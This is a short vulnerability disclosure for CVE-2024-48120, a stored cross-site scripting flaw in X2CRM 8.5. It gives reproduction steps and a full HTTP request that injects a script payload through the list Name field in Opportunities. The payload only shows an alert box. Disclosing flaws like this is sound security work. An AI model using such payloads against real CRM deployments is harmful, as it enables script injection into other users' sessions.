X2CRM 8.5 - Stored Cross-Site Scripting (XSS)

# Exploit Title: X2CRM 8.5 - Stored Cross-Site Scripting (XSS)
# Date: 12 September 2024
# Exploit Author: Okan Kurtulus
# Vendor Homepage: https://x2engine.com/
# Software Link: https://github.com/X2Engine/X2CRM
# Version: X2CRM v8.5
# Tested on: Ubuntu 22.04
# CVE : CVE-2024-48120

1-) Log in to the system with any user account. Navigate to the “Opportunities” section from the top menu and select “Create List.” In the “Name” field of the new screen, enter the malicious XSS payload and click “Create.”

2-) Next, return to the “Opportunities” tab and click on “Lists” again. The stored XSS payload will be triggered.

XSS Trigger Request:

POST /x2crm/x2engine/index.php/opportunities/createList HTTP/1.1
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 390
Origin: http://192.168.1.108
Connection: keep-alive
Referer: http://192.168.1.108/x2crm/x2engine/index.php/opportunities/createList
Cookie: PHPSESSID=uijrtnp42qqo29vfkb4v0sps3i; YII_CSRF_TOKEN=Rkw1SWxTc1dpa0Z0OGdpb1RxY0ZGVDY5X3pPMzVFTDGjgT_kJmGLFkvRCi_Y9OO4f0QIHNTvqbSw1t9UVVXL4g%3D%3D; 5d8630d289284e8c14d15b14f4b4dc28=9d5b82f1240eb47cd73a20df560d9b3086847e33a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%223%22%3Bi%3A1%3Bs%3A4%3A%22test%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; LoginForm[username]=test; LoginForm[rememberMe]=1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

YII_CSRF_TOKEN=Rkw1SWxTc1dpa0Z0OGdpb1RxY0ZGVDY5X3pPMzVFTDGjgT_kJmGLFkvRCi_Y9OO4f0QIHNTvqbSw1t9UVVXL4g%3D%3D&X2List%5Bname%5D=%3Cscript%3Ealert%282%29%3B%3C%2Fscript%3E&X2List%5Btype%5D=dynamic&X2List%5BassignedTo%5D=test2&X2List%5Bvisibility%5D=1&X2List%5BlogicType%5D=AND&X2List%5Battribute%5D%5B%5D=alternativeEmail&X2List%5Bcomparison%5D%5B%5D=%3D&X2List%5Bvalue%5D%5B%5D=test&yt0=Create